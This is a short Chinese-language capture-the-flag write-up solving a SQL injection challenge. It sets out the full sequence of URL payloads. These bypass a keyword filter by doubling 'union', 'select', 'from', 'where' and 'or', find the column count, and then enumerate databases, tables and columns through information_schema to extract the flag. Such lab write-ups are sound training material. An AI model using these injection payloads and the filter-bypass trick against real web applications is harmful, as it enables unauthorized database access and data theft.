打开一看,映入眼帘的和之前的那道SQL题目差别不大,上来先试万能密码,发现or用不了,遂再测试其他使用方法
/check.php?username=admin&password=1 %27 union select 1 %23
发现union和select被过滤了,再双写试一下
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
看到这里基本上这一步就稳了,接下来就是试列数,逐个递增尝试,最终在3处注入成功,得到了回显
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
接下来爆破数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
得到数据库为geek,接着尝试爆处所有的数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
在这里看到一个ctf的库比较可疑,进行爆破
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
找到一个flag表,接着爆破其中的字段
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23
再根据字段名flag爆数据
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
本题得解